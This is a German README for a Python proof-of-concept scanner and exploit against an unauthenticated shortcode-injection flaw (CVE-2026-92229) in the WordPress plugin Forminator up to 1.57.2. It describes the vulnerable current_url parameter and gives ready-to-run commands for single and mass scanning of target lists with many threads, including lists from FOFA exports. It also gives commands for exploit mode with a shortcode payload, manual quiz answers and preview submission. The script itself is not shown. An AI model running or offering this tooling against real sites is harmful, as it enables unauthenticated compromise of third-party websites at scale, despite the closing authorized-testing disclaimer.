
Python-3-PoC-Scanner und Exploit für CVE-2026-92229, eine nicht authentifizierte Schwachstelle zur beliebigen Shortcode-Ausführung im WordPress-Plugin Forminator in den Versionen 1.57.2 und darunter.
Python-3-PoC-Scanner/Exploit für CVE-2026-92229 in Forminator (WPMU DEV).
| Plugin | forminator |
| Betroffen | ≤ 1.57.2 |
| Behoben in | 1.57.3+ |
| CVSS | 9.1 (Kritisch) |
| Auth | Unauthentifiziert |
| Vektor | POST-Parameter current_url (Quiz-AJAX) |
| CWE | CWE-94 (Code Injection) |
| Credit | Kuba (Wordfence) |
In anfälligen Versionen wird das vom Benutzer bereitgestellte current_url im HTML des Quiz-Ergebnisses reflektiert (z. B. in Social-Share-Attributen) und der Response-Buffer wird mit WordPress do_shortcode() verarbeitet. Ein unauthentifizierter Angreifer kann ein Quiz über admin-ajax.php mit einem bösartigen current_url einreichen, das beliebige Shortcodes einbettet.
Primäre AJAX-Aktionen:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (Vorschau; --preview)Behoben in 1.57.3 durch Beschränkung der Shortcode-Ausführung auf die vorgesehenen Textfelder anstelle des gesamten HTML-Buffers.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Option | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-Basis-URL |
--list | Datei mit einer URL pro Zeile |
--mode | check (Standard) oder exploit |
--page-url | Seitenpfad oder URL, die das Formular enthält |
--form-id | Forminator-Modul-ID |
--form-type | quizzes, custom-forms oder poll |
--answers | Quiz-Antworten als question_id:answer_id,... |
--shortcode | Shortcode-Payload (eingebettet in [caption]…[/caption] innerhalb von current_url) |
--preview | Vorschau-AJAX-Aktion verwenden |
--threads, -j | Parallelität beim Massenscan (Standard 20) |
--output | JSONL-Ergebnisse (Standard cve_2026_92229_results.jsonl) |
--vuln-list | Textdatei für Check-Treffer (Standard hits.txt) |
--candidates-list | JSONL-Metadaten für ausnutzbare Checks (Standard candidates.jsonl) |
--quiet | Weniger Fortschrittsausgaben bei Massenläufen |
| Datei | Inhalt |
|---|---|
cve_2026_92229_results.jsonl | JSON pro Ziel (status, version, modules, …) |
hits.txt | Basis-URLs mit exploitable_candidate: true |
candidates.jsonl | Trefferdetails: form_id, page_url, form_type |
status-Werte| Status | Bedeutung |
|---|---|
candidate | Anfällige Version + Quiz mit geparsten Antworten |
form_no_quiz_answers | Formular gefunden, aber Quiz-Antworten nicht automatisch geparst |
plugin_no_public_form | Plugin vorhanden, kein öffentliches Modul entdeckt |
patched | Version ≥ 1.57.3 (oder neuere Hauptversion) |
no_plugin | Forminator nicht erkannt |
exploitable_candidate nur, wenn Quiz-answers[qid] aus dem HTML geparst werden können (viele Websites verwenden JS-gerenderte Quizze → --answers oder manuellen Exploit verwenden).[caption] testen)..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Lokale Massenscan-Listen (z. B. list.txt, FOFA-Exporte, *.jsonl-Ergebnisse) sind in .gitignore aufgeführt und sollten nicht committet werden.
Nur für autorisiertes Sicherheitstesting. Sie sind für die Einhaltung der geltenden Gesetze und Programmregeln verantwortlich.